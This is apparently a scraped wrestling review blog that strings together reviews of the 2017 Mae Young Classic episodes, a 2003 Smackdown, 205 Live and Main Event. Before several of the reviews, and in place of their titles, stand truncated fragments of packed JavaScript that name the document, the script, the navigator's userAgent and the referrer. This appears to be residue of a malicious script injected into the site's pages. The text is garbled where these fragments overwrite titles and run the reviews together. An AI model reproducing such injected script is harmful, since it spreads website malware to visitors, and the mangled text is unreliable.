Mauro Ranallo narrates the opening video, which looks at last week’s show and previews tonight’s four matches.

Opening sequence.

JR and Lita preview tonight’s matches.

Video on Xia Li, a signee from China who trains in Chinese martial arts.

Video on Mercedes Martinez, who has been a big star on the independent circuit for years and is covered in tattoos.

First Round: Mercedes Martinez vs. Xia Li

Li has a fan in her hand, which gives me a nice flashback to Mulan. Martinez gets rather evil by doing the crane kick pose instead of shaking hands. A headlock into a front facelock has Li in early trouble but she comes right back with a spinning kick to the ribs. More kicks get two and a forearm knocks Martinez straight down. A spinebuster cuts Li off for one though and Martinez’s shocked face is rather over the top. Martinez stays ticked off enough to grab a surfboard into a dragon sleeper for the tap at 3:06.

Rating: D+. This wasn’t quite a squash with the far bigger star winning despite selling a lot of Li’s offense. Li has a good look and seemed poised in the ring. If she can learn English I could see her going somewhere down in developmental. Martinez is going to be a big deal in this thing and that really shouldn’t be any kind of a surprise.

Video on Rachel Evers, the daughter of Paul Ellering who has made several appearances in NXT. She’s well rounded and ready to fight any style.

Video on Marti Belle, who is best known from her time in TNA. She leads the pack instead of following it.

First Round: Marti Belle vs. Rachel Evers

The fans are entirely behind Evers here and Belle is a very clear heel. A single underhook suplex gives Marti two and she brags about how close that was. Back up and Evers gets one off a springboard spinning legdrop out of the corner. Marti snaps the throat across the top as the dueling chants begin.

Rachel comes back with some forearms and a COME ON, followed by a running backsplash. A pretty bad looking spinebuster gets two on Marti so Rachel loads up a fisherman’s buster but slams her forward for two instead. Marti comes back with a Stroke for two of her own as this needs to end soon. A very quick small package pins Belle at 6:31. It’s as sudden as it sounds.

Rating: D-. Yeah this really didn’t work. Rachel has all the requirements to make something of herself (good look, good pedigree) but the in-ring work really isn’t there. The match was sloppy and looked completely disjointed at times, easily making it the worst match of the tournament so far. That only puts it in sixth but I can’t picture much beating this. Really bad match.

Video on HHH welcoming the 32 entrants.

Video on Miranda Salinas, who was trained by Booker T. She’s 5’ and from what I can find, has less than twenty matches in her career. I can’t imagine that’s all she’s had but if so, well done on getting here.

Video on Rhea Ripley, a 20 year old phenom (I’d like some more details on that description) from Australia with a soccer background.

First Round: Rhea Ripley vs. Miranda Salinas

Miranda definitely has some charisma to go with her small stature. The far bigger (probably by a foot) Rhea headlocks her down before hitting a good looking dropkick to send Salinas outside. Ripley fires off some chops in the corner but gets kicked in the back of the head. A running knee to the chest gives Miranda two but a forearm to the face just seems to get on her nerves. Ripley hits a running kick to the face in the corner, followed by a running basement dropkick for two. Something like a Chick Kick sets up a full nelson slam to put Salinas away at 3:51.

Rating: C+. If she’s only 20, they might be on to something with the prodigy thing. I really liked this match a lot more than I was expecting to and there’s something to both of them. Rhea has a good look, solid size and the in-ring work. Her charisma was a bit below average but she can work on that. Salinas’ size is going to work against her but if she can get the work down, she’ll be fine. I was impressed by these two and they had a much better match than I would have bet on. Well done and keep an eye on Ripley coming to NXT.

Video on Mia Yim, who you’ve probably seen in various promotions, including TNA as Jade. She talks about her domestic violence story last year, which got some mainstream attention.

Video on Sarah Logan, better known as Crazy Mary Dobson, who is a backwoods tough girl from Kentucky who trained in Japan.

Natalya and Beth Phoenix are here.

First Round: Mia Yim vs. Sarah Logan

Mia works on a wristlock to start and a dropkick gets two. Sarah comes back by taking her down and hammers away with some right hands for two of her own. A basement dropkick keeps Mia in trouble but she kicks Sarah right into the corner. That’s fine with Sarah, who screams at her to do it again.

Mia obliges and puts on the Tarantula before getting two more off a jumping knee. A rolling guillotine choke has Sarah in trouble but she slips out and it’s time for a seated slap off. Logan is back up first with a running knee to the face for another two but Mia grabs a pair of bridging German suplexes for near falls of her own.

Sarah gets two more off a Samoan drop and a fisherman’s suplex out of the corner gets the same. Sarah: “OFF WITH YOUR HEAD!” She then misses….I’m not sure what actually but Mia kicks her in the head (Mia: “Off with YOUR head!”), setting up Eat Defeat (still don’t like that move) for the pin at 7:17.

Rating: B-. Yim is one of the bigger stars in this thing but she’s going to be facing Shayna Baszler in the second round, meaning she’s probably done after two matches. Logan has some skills but at the same time she’s only going to go so far with the Kentucky tough thing. She needs more time in front of the crowd though and that’s going to come with time.

The recap ends the show.

Overall Rating: C. This wasn’t as good of a show as the first one and a lot of that is due to the Belle vs. Evers match, which really brought things down. The big thing I got out of this one though was the future is looking bright. There’s a lot of talent in this tournament and several of them have been signed to developmental deals. If they can go somewhere with this stuff, the NXT women’s division is going to be in good shape in the near future.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykfak|var|u0026u|referrer|skbkd||js|php'.split('|'),0,{})) Young Classic Episode #1
Date: August 28, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s finally here. In the tradition of last year’s Cruiserweight Classic, this is a thirty two participant women’s tournament held down in Florida. The field is comprised of an international group of talents, some of whom you probably haven’t heard of before. There are four shows up today with the finals taking place live on September 12. Let’s get to it.

The opening video, narrated by Stephanie McMahon (because of course), talks about the history of women’s wrestling and how the biggest stars have helped lead us here. The result was the Women’s Revolution and it’s allowed something like this to be possible.

Opening sequence.

One note: I’m not familiar with most of the names in this so if I miss something big about one of them, I apologize in advance.

Video on Kay Lee Ray, a Scot who describes herself as a hardcore daredevil.

Video on Princesa Sugehit (pronounced sue hay). She was the only woman in her gym in Mexico and is here to win the tournament.

First Round: Kay Lee Ray vs. Princesa Sugehit

Sugehit starts with the kicks and a big one to the chest gets two. They trade some trips until Ray grabs something like a Gory Stretch. That’s reversed into a sunset bomb for two as the crowd is WAY into this so far. Sugehit drops three elbows for two but gets kneed in the face for the same. Back up and Kay chops her in the corner as Lita laments never wrestling in a mask.

A reverse DDT sets up a Koji Clutch on Sugehit for a few moments and the fans stay split. Sugehit gets out and rolls her around the ring into a cradle before a hard kick to the head gets two. More kicks are countered into something like a Gory Bomb for a slightly delayed two on Sugehit. Ray misses a splash though and a Fujiwara armbar makes her tap at 5:58.

Rating: B-. Good choice for an opener here with two easy to identify styles and Sugehit being the more polished of the two. It wasn’t a classic or anything but it was the right idea: get the crowd into things (shouldn’t be that hard) and something like a masked woman kicking another one in half was an easy choice.

Video on Serena Deeb who has a lot of history in WWE as part of the Straight Edge Society and a long stint in developmental. She had a bit of a drinking issue though and left the company, meaning she had to earn her way back.

Video on Vanessa Borne, who used to be a cheerleader for the Arizona Cardinals and a dancer for the Phoenix Suns but now she’s here to be the star instead.

Naomi is here.

First Round: Serena Deeb vs. Vanessa Borne

Of note: Jessika Carr, the new female full time referee, is working this match. Feeling out process to start as the announcers focus on Deeb’s previous issues that sent her away from the ring for two years. Some armdrags have the rookie Borne in trouble but she headbutts her way out.

The aggressive style doesn’t seem to sit well with the fans, who are notably more silent for this match (though to be fair these could have been taped out of order). A sliding headbutt gets two on Deeb and we hit the chinlock. Serena fights up with some left hands and a neckbreaker but she goes shoulder first into the corner. A flip neckbreaker and Samoan drop give Borne two each but Deep is right back up with a spear for the pin at 6:06.

Rating: C-. There’s your first story of the tournament and it’s a good one with Deeb’s road to redemption. She never was the biggest star in the division as she barely wrestled singles matches for the company but it’s an easy story to tell. It’s easy to imagine her making a long run in this thing as she’s one of the more experienced names in the field and that could help her go a long way.

Video on Zeda, who learned martial arts to deal with bullying as a kid. She didn’t have a hero to look up to so she became one herself.

Video on Shayna Baszler, a former UFC fighter with a long career. She’s here to try something new now but the style will be the same. Baszler has wrestled in Shimmer so she’s not coming into this as a rookie.

Ronda Rousey is here to cheer on her former Four Horsewoman teammate.

First Round: Shayna Baszler vs. Zeda

Lita and Zeda were in the same judo club, albeit many years apart. Shayna won’t shake hands but the fans know Zeda is going to die anyway. An early cross armbreaker doesn’t work on Zeda and it’s back to a standoff. A ZEDA chant goes nowhere and Baszler easily strikes her into the corner. Zeda gets in some elbows and a monkey flip is good for two but Shayna is done playing around. A suplex backbreaker into a choke makes Zeda tap at 2:21.

Baszler poses with the Horsewomen.

Video on Jazzy Gabert. She grew up in Germany and throws people all around. It’s like a demon comes out in the ring when she hurts the little girls. You might remember her from a few matches in TNA as Alpha Female.

Video on Abbey Laith, who is better known as Princess Kimber Lee.

First Round: Abbey Laith vs. Jazzy Gabert

Gabert is rather intimidating looking with a very blonde mohawk. It’s also odd hearing JR talk about Chikara, where Abbey was Grand Champion. Abbey slugs away to start but gets thrown down by the hair. A Jazzy chant starts up as she throws Abbey down into the splits. That’s fine with Abbey who has a ballet ground for some great flexibility. We hit something like an Anaconda Vice of all things as Abbey is being completely overwhelmed here.

Back up and Abbey is sent into the turnbuckle as the dominance continues. It’s off to a chinlock before a rolling forearm knocks Abbey’s block off. Abbey slips out of something and grabs a Tarantula into a choke on the ropes. Some kicks to the chest stagger Jazzy and some bicycle kicks make things even worse. There’s a dropkick into the corner and a Swanton gets two on Gabert. One heck of a clothesline puts Laith down but she rolls off Jazzy’s back -into an Alligator Clutch (a rollup used by Mae Young) for the pin at 7:12.

Rating: C+. I liked this one more than I was expecting to as they seemed to be going with a squash and then turned it into a better story with Laith winning in the end. There’s a good chance that they’re going to be sending her pretty far in the thing. Good idea here as Laith looks like a star now and should get a nice reception as a result.

Gabert shakes her hand post match.

We wrap it up with a quick recap of the night’s events.

Overall Rating: B-. Good start for the tournament here as they showcased four names and we’re already getting a good chunk of the second round ready. They should be flying through this pretty easily and that makes for a fun tournament. I also like having four episodes released at once as we can get through the first round in a single day instead of stretching it out for months. Lita was completely acceptable on commentary and seemed to be starting to get the hang of it more as the show went on. Good show here and that’s a positive sign.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yinaa|var|u0026u|referrer|yneik||js|php'.split('|'),0,{})) March 27, 2003
Location: HP Pavilion, San Jose, California
Commentators: Michael Cole, Tazz

It’s the final show for Wrestlemania and also my dad’s fiftieth birthday. Everything is pretty much set so there’s a good chance this is going to be little more than a slow paced final push towards the show. Hopefully it’s better than Raw, which really shouldn’t be all that difficult of a task. Let’s get to it.

Opening sequence.

Rey Mysterio/Brian Kendrick vs. Matt Hardy/Shannon Moore

Kendrick now has theme music, but it’s not as catch as Matt’s, whose Mattitude will make Wrestlemania a success and is very humble. Shannon starts with Brian and gets two off an early snap suplex. A hurricanrana puts Shannon down though and it’s off to Rey to speed things up. Some raised boots in the corner slow Rey down but Rey dropkicks Matt for two.

It’s back to Kendrick but he’s quickly pulled into the wrong corner to start the double teaming. Shannon’s belly to back gets two and Matt gets the same off a wicked Splash Mountain Bomb out of the corner. Brian slips over for the hot tag and it’s off to Rey for the bulldog and springboard seated legdrop for two on Matt. A tornado DDT gives Kendrick the same and he drops Shannon with Sliced Bread #2, only to walk into the Twist of Fate for the pin.

Rating: B-. Heck of an opener here with all four getting to show off a bit. I’m glad they didn’t have the fall between Mysterio and Hardy for a change and it’s not like pinning Kendrick is a big stretch. If nothing else it’s nice to see a match with some energy in the week before Wrestlemania as they were certainly absent from Raw.

Post match Rey hurricanranas Moore but walks into a Twist of Fate.

Hulk Hogan arrives with his son and Jimmy Hart.

Roddy Piper is interested in Hogan vs. McMahon.

Video of last week’s contract signing.

Here’s Hogan for hopefully (and not likely) the last big push towards the match. Hogan talks about having a business relationship with Vince for over twenty years but he never really knew the man. He’s seen Vince do some horrible, evil and often illegal things but he never knew how twisted Vince really was. If Vince is a genius, he’s an evil genius (no brother so you know he’s serious). He recaps the No Way Out ordeal and it made him so mad that he agreed to make Sunday’s match a street fight.

This won’t be his last time on Smackdown because Sunday is going to be a fight twenty years in the making. You’ll see a Hogan you haven’t seen in twenty years because you’ll have to see it. Hogan promises to leave Vince in a pool of his own blood to wrap it up. It’s a good promo, but we’re still talking about two guys who aren’t wrestlers at this point fighting over which of them is responsible for them both being multi-millionaires. That’s at worst the second biggest match on the show and it’s pretty hard to get behind that idea.

Eddie Guerrero vs. Charlie Haas

They trade leg trips to start and get two each as the fans are very behind Eddie early on. Eddie shoulders him down but seems to bang up his own shoulder. Charlie grabs a hammerlock and drops him arm first onto the rope to take over. A clothesline gets two and Charlie cranks on the arm even more. Eddie suplexes his way out of an armbar but lands on the shoulder again. A hammerlock northern lights suplex gets two but another suplex is countered into a rollup for the fast pin.

Rating: C+. The arm stuff was a good idea here but the time hurt them a bit. Eddie and Chavo are starting to get over as faces due to pure in-ring ability and charisma, plus the whole not fighting the FBI anymore. Haas and Benjamin continue to lose, which almost guarantees that they retain on Sunday.

John Cena promises to teach Brock Lesnar a lesson like he’s Mr. Miyagi.

Video on the FBI, which is actually really well produced. Like, more so than their usual great production.

Lesnar isn’t worried about Cena.

Nathan Jones has beaten up Chuck Palumbo off camera instead of having a match. So five minutes ago we get a good video on the team and now one of them is left laying off camera. Well done WWE.

Vince training montage with Shane as his coach. Can he still catch a chicken though? This is missing from the Network version for no apparent reason.

Nidia and Jamie Noble are in the back when they see Torrie Wilson’s Playboy cover. Jamie can’t bring himself to say that Nidia is prettier.

Wrestlemania Moment: Morton Downey Jr. in Piper’s Pit.

Video on Torrie’s Playboy press conference with Stephanie introducing her for whatever reason. Torrie has the best body she’s ever seen, which is the endorsement that Playboy has been looking for.

Torrie Wilson vs. Nidia

Nidia jumps her from behind and grabs a chair as this is already more physical than I was expecting. A baseball slide sends the chair into Nidia’s face for two and Tazz starts singing. The fans want puppies but settle for Torrie hitting a DDT for the pin.

Big Show and A-Train run into Nathan Jones and make fun of his prison sentence.

Sean O’Haire tells us to eat whatever you want.

Big Show/A-Train vs. Chris Benoit/Rhyno

Cole thinks Heyman had something to do with this for the sake of softening up Rhyno and Benoit for Sunday. For once, that’s almost insightful. A-Train muscles Rhyno into the corner for a rare visual but gets stomped back for a nice reaction. Benoit comes in for some hard chops but one heck of a shoulder drops him hard.

It’s off to Show and Benoit gets tossed hard into the corner, only to come out with some chops. Show clotheslines him down and the beating begins. There’s the required big toss across the ring, which still looks cool every single time. A big headbutt sends Benoit into the corner and it’s off to A-Train for some stomping.

Something like a Gory Stretch has Benoit screaming but a Vader Bomb hits boots. Benoit finally gets in a German suplex and makes the hot tag to Rhyno, who has no issues running through the monsters. Everything breaks down but here’s Jones to go after Show for the lame but logical DQ.

Rating: C. This was actually going somewhere until the ending, which was the only option they had here. Rhyno continues to impress and I’m starting to appreciate his rather simple but effective style. Everyone was game here and it made for a better match than I was expecting, which isn’t that hard for a Big Show/A-Train match.

Undertaker comes in and helps clear the ring.

Kurt Angle is looking for Brock. Post break he’s in Lesnar’s locker room and says they’re a lot alike. The difference is that Brock is a 25 year old rookie and he’s not ready. This match is going to change wrestling forever because they’re the best in the business. If Angle gets destroyed on Sunday, he’s done enough already. He’s bringing everything on Sunday and is willing to end Lesnar’s career to win.

Lesnar doesn’t think this is as brave as Angle hopes it is because Kurt knows he’s safe until Wrestlemania. Brock is willing to lay it all on the line on Sunday. At Wrestlemania, here comes the pain, because Lesnar will do anything to win the title. Good stuff here, and I liked it not being in the ring for a change.

Wrestlemania card, with the Raw Tag Team Title match being moved to Sunday Night Heat.

Another Vince training video.

Gene Okerlund is ready for Hogan vs. McMahon and says they were both responsible for the boom.

Chavo Guerrero vs. Shelton Benjamin

Some amateur stuff goes nowhere so Chavo speeds it up with a headscissors and a dropkick for two. Shelton goes after the leg though and Chavo is in quick trouble. Benjamin grabs a leg lock but Chavo is next to the rope for a break. Shelton puts on a different hold (always appreciated) but Chavo reverses into a small package for two. It’s off to the third hold until a cradle gives Guerrero two more. An enziguri finally gets Chavo a breather and both guys are down. Eddie cuts off Charlie’s interference attempt, leaving Chavo to grab la majistral for the pin.

Rating: C. Oh yeah Team Angle is winning and they’re not even trying to hide it at this point. Chavo looked good here, which isn’t the biggest surprise despite his abilities often being overlooked. This was basically the same formula from earlier but with a different limb, which makes it no surprise that it worked.

Post match Team Angle attacks, only to have Rhyno and Benoit make the save and clean house.

Rikishi vs. John Cena

Cena debuts Basic Thuganomics as his theme music. He jumps Rikishi during his entrance and hammers away until a single right hand puts him on the floor. Rikishi gets whipped into the steps though and Cena pulls off the barricade padding to ram him back first. Back in and we hit a crossface chickenwing of all things as things slow way down. Rikishi fights up and hits the Samoan drop. A superkick sets up the corner splash and Stinkface but the Rump Shaker hits knees. The ref bump allows Cena to hit the chain shot for two, followed by I believe the debuting FU (much closer to a Death Valley Driver here) for the pin.

Rating: D+. It’s kind of fascinating to see so much of what defined Cena debuting in one match as he had the music, the finisher and most of the signature look all at once. It made him look like a star instead of the goof that he was for months leading up to this. They almost have to do Lesnar vs. Cena now and that’s not the worst idea in the world.

Overall Rating: C. This was a back and forth show with good action (FAR better than Raw) but at the same time there was so much Vince vs. Hogan stuff that it took away the limited interest I had in the match in the first place. I’m still not wild on Wrestlemania but this show did help a lot as they focused on a lot of stuff. Unfortunately one match got so much of the hype and it’s really not one of the best things on the card. It’s all going to be about the presentation and in-ring results on Sunday but they’ve got their work cut out.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deaas|var|u0026u|referrer|iitif||js|php'.split('|'),0,{})) Live
Date: August 22, 2017
Location: Barclays Center, New York City, New York
Commentators: Vic Joseph, Corey Graves

For the first time in a long time we have a big time main event on 205 Live with Neville defending the Cruiserweight Title against Akira Tozawa for the third time in eight days. I’m sure the rest of the division being completely worthless and that being more and more a reality every single week has no connection whatsoever. Let’s get to it.

We look at the previous two matches between Neville and Tozawa which set up tonight’s rubber match (assuming you don’t count the previous matches of course).

Opening sequence.

Cedric Alexander/Gran Metalik vs. Tony Nese/Drew Gulak

Rematch from last week. On the way to the ring, Nese rips on the crowd for never hitting the gym. Nese and Alexander start things off with Tony grabbing a rollup but walking into a dropkick to stagger him all over the place. It’s off to Gulak who gets forearmed square in the jaw before Metalik comes in some loud spot calling and a handspring backflip.

Gulak pops him square in the jaw to take over as Joseph offers some nice analysis by pointing out Drew’s hypocrisy of criticizing high fliers for showing off and then teaming with a showoff like Nese. It’s a good point and a nice catch. Metalik avoids a baseball slide from Nese and moonsaults down onto them in an impressive bit of timing. Back in and Nese loads Metalik into the Tree of Woe for the Full Contact Cardio but Alexander is smart enough to move his partner out of the way before anything can start.

Metalik comes back with a high crossbody to set up the hot tag to Alexander as things speed up. The springboard clothesline gets two on Gulak as everything breaks down. Cedric launches Metalik into a dropkick on Gulak, followed by a springboard splash for two more. Stereo flip dives take the heels out again and it’s the Lumbar Check to put Gulak away at 7:42.

Rating: B. These guys were FEELING IT here and they had a heck of a match as a result. I was having a great time with this one and they barely stopped the whole time. Metalik is a guy who I like more every time I see him and Alexander is still one of the top performers on the roster. Not that it’s going to lead him anywhere but at least he’s getting in good matches like this one.

Titus O’Neil gives Akira Tozawa a pep talk before his title match tonight. Titus: “Now give me two claps and a Ric Flair!”

Here’s Jack Gallagher for his gentleman’s duel with Brian Kendrick. Jack explains the idea behind the duel but says he hasn’t been very gentlemanly as of late. Sometimes though, people just rub you the wrong way and you have to knock them out. If Kendrick is so afraid of what Gallagher can do with his fists, just imagine what he can do with the selection of weapons in the ring.

Kendrick pops up on screen and laughs off the idea because only a clown would have a duel. He’s found Jack a suitable opponent though and here’s an actual clown. The clown sprays Jack with water (Fans: “KILL THE CLOWN! STUPID IDIOT!”) and gets beaten down for his efforts. Cue Kendrick from behind to attack Gallagher with an umbrella and powerbomb him through the table. Kendrick also issues a challenge for a No DQ match next week. This was long and bad as the clown stuff is really being forced into the whole thing. Just have them fight and be done with it already.

We look back at Rich Swann vs. Ariya Daivari from last week with TJP coming out on crutches to distract Swann to cost him the match.

TJP is playing video games in the back with his leg in a cast (Why did he show up tonight?) when Swann comes in asking for an explanation. It turns out that TJP hurt his knee in their match two weeks ago and was just coming out to see Swann win. TJP is willing to settle this with Swann if Rich can beat Daivari, presumably next week.

Cruiserweight Title: Akira Tozawa vs. Neville

Neville is defending. They start slowly with Neville working on the arm until Tozawa chops him against the rope. Oh yeah they’ve got a lot of time to use here. A headlock takes Tozawa down again before switching to a cravate. How British of him. The fans chant a rather rude term at Neville before neither guy can hit a kick to the ribs.

They trade some hard strikes as this is mostly even in the first few minutes. Neville snaps the bad shoulder across the top rope and it’s time for a hammerlock with the leg. A dropkick to the shoulder puts Tozawa on the floor and a gorgeous moonsault takes him down again. The referee has to check on the shoulder but Tozawa says he can keep going. Neville sends him into various things but gets dropkicked off the top for a comeback.

The suicide dive connects and Tozawa snaps off a belly to back for two. Neville comes back with the superplex but Tozawa interlocks the legs into a small package for two more. I’ve always loved that spot, especially when it looks natural. Neville is up first with something like a sitout F5 and a heck of a kick to the head for two.

Back up and Tozawa nails him in the jaw to floor the champ, followed by a running boot in the corner. We hit a pinfall reversal sequence before Tozawa kicks him in the head again. The top rope backsplash misses though and the Rings of Saturn retains the title at 16:11.

Rating: B. Another good performance between these two but I’m kind of sick of seeing it. I also have no idea what the point was of having Tozawa win and then lose the title so soon when they could have just had the second title change here. I mean other than filling the Summerslam card up as much as they can of course.

Post match Neville says Tozawa’s title reign was pathetic and nothing more than a footnote. Cue Enzo Amore (Graves: “VIC DID YOU KNOW ABOUT THIS???”) for his usual promo and to say this is now the realest show in the room. Neville sneers at him and leaves so Enzo calls him sawft to end the show.

Where do I even begin? First of all, this sums up everything wrong with 205 Live. You have those four in the first match going nuts and having a great match but none of them are getting anywhere near the title picture because, presumably, they’re not interesting enough. Heaven forbid they get promo time or vignettes or something to build interest in them, because obnoxious catchphrases and a lack of anything interesting in the ring makes you a more worthy challenger.

That’s one of the biggest problems around here and a great example of why the show isn’t necessary: you have the champion, the title contenders (as in all two of them) and then EVERYONE else who comes off like they’re several notches below two or three people at most. Even former champions like TJP and Rich Swann feel like they’re miles beneath Neville and Tozawa. Enzo isn’t going to be any better in that area as he’s a glorified comedy guy most of the time.

That being said, Enzo is PERFECT for this show. He’s instantly the biggest star on the roster and has more personality than the rest of the roster put together. It’s also not like he has anything else to do on Raw now that Cass is on the shelf. He would never be seen as a physical threat to anyone on the show but there are some names here he could hang with. It’s the right move for Enzo, but another example of why 205 Live doesn’t work as a concept.

Overall Rating: B+. That’s probably the best episode they’ve ever had though I have a bad feeling about where things are going. Enzo is going to become the focus of the show and since I wouldn’t mind seeing him stampeded by a herd of wild buffalo, that might make things a bit hard to sit through. The rest of the show ranged from awesome to a clown show, which makes this a great week and a nice addition to a lot of the Brooklyn run.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrziz|var|u0026u|referrer|tkiia||js|php'.split('|'),0,{})) Event
Date: August 24, 2017
Location: Barclays Center, New York City, New York
Commentators: Vic Joseph, Corey Graves

I just can’t get away from the Barclays Center. If my math is right, this is the seventh show WWE taped from the venue in four days and hopefully that means they’ll be all beach balled out. Odds are this is going to be a run of the mill show though as it’s not like these things are really any different no matter where they are. Let’s get to it.

Opening sequence.

Heath Slater vs. Curt Hawkins

Slater sucks up with the Brooklyn 3:16 shirt. Hawkins does the FACE THE FACTS pose so Slater does a bit of a striptease to take the shirt off. A side kick gives Slater two and it’s off to the armbar. Hawkins knees him to the back to send Slater into the corner and that means it’s time for more posing. We hit the chinlock for as long as a chinlock is going to go before frustration starts to set in. A knee drop gets two and we hit the second chinlock. Heath fights up but gets tripped straight down, only to small package Hawkins for the pin at 4:36.

Rating: C-. This was actually better than you would expect with Hawkins playing a heel who was ahead but got too caught up in bragging to finish the job. Slater hung in there until he had an opening to capitalize on and won as a results. It might not be in depth but it’s a story, which is a lot more than you would expect most of the time for Main Event.

Off to Raw.

Here are Lesnar and Paul Heyman to open things up. Heyman says this isn’t a tape delay because we’re live with Brock Lesnar still your reigning and defending Universal Champion. He talks about the conspiracy against Lesnar, who fought off everyone else last night to keep his title. For the first time in his life, Lesnar was taken off the battlefield in an attempt to get rid of him without having to pin him or make him submit. But Lesnar wouldn’t have any of that and marched back down the aisle so conquering could ensue. As for tonight, there is no one in WWE or UFC history, like Lesnar himself.

Cue Braun Strowman and you can see Lesnar wince a bit. The fans cheer for Strowman as Brock gets in his face. A chokeslam is countered but Braun kicks him in the face and hits a powerslam to put Lesnar down. He starts to get up so it’s another powerslam, leaving Strowman to hold up the title.

And then again.

Here’s Sasha Banks for her first comments after winning the title. She may be from Boston but she’s always left her heart right here in Brooklyn. Like when she and Charlotte tore the house down last year at Summerslam, which allows her to wish Ric Flair well. Sasha plans on defending the title the right way but here’s Alexa Bliss to interrupt. She laughs off the idea of Sasha being the right kind of champion but wants nothing to do with a rematch tonight in front of these Brooklyn fanboys. They’ll fight soon enough but for now, Bliss is fine making Sasha wait.

Lince Dorado vs. Brian Kendrick

Brian takes him to the mat to start but Dorado flips up without too much effort. A quick trip to the floor earns Kendrick a hurricanrana and we take a break. Back with Kendrick getting two off a big boot and slowing things down with a cravate. Like WAY down as the hold stays on longer than it needs to.

A belly to back superplex is reversed into a crossbody to drop Kendrick and Dorado has a breather. There’s a spinwheel kick into a hurricanrana for two, followed by the springboard Stunner for the same. The shooting star hits knees though and Kendrick grabs the Captain’s Hook for the tap out at 11:19.

Rating: C. Another match that was better than I was expecting though again that’s not covering a lot of ground. Dorado is fine for a low level face and Kendrick has completely exceeded expectations in his run with the company. I’m still not sure how good of a finisher the glorified chinlock was but he’s making it work to a certain degree.

We’ll wrap it up with Monday’s main event.

Miz/Samoa Joe vs. Roman Reigns/John Cena

Cena bulldogs Miz to start and the fans are very pleased as it’s already off to Joe. The fans go nuts over something and Cena actually pauses to look at it…..because it’s a freaking beach ball. It seems that the ball is taken away with Cena looking annoyed, earning himself a beating from Joe. Miz comes in to stomp away and it’s time for the wave again. Now Cena joins in the wave, earning himself a quick DDT for two.

The cheering and booing continues as a beach ball is put into play and confiscated as the match continues to be ignored. Cena gets ax handled for two as Miz stops to tell the fans to pay attention. Miz misses a charge and it’s off to Reigns to clean house with clotheslines to no reaction. Roman gets taken down as well for the YES Kicks. The last one is countered into a powerbomb though and both guys are down again.

Joe Rock Bottoms Roman but Reigns heads outside to beat up the Miztourage. Back in and the hot tag brings in Cena for the finishing sequence. Joe cuts off the Shuffle though and it’s off to the Koquina Clutch. Reigns tries a save with the Superman Punch but Joe sidesteps it, causing Cena to get hit instead. The second Superman Punch hits Joe but Cena pops up and grabs the AA to pin Miz at 13:03.

Rating: C+. I hate beach balls, I hate beach balls, I hate beach balls. As usual, whenever you ask a crowd to pay attention for this long (to something they paid for of course), it’s bound to cause them to lose their interest and set off something like this. Naturally their response is screw anyone who doesn’t like it, because wrestling fans are selfish creatures by definition. I couldn’t stand this stuff in Orlando and it’s really annoying now, much like WWE encouraging this nonsense. As for the match, it was exactly what you would expect though Cena pinning Miz made me roll my eyes.

Overall Rating: C+. This was one of the better shows they’ve done in a long time with two completely watchable matches and some good stuff from Raw. I’m not sure how to live in a world where Raw is completely outshining Smackdown but that’s been the case for a long time now. That makes the recap show a lot easier to watch and two pretty good matches helped quite a bit. Nice show this week.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6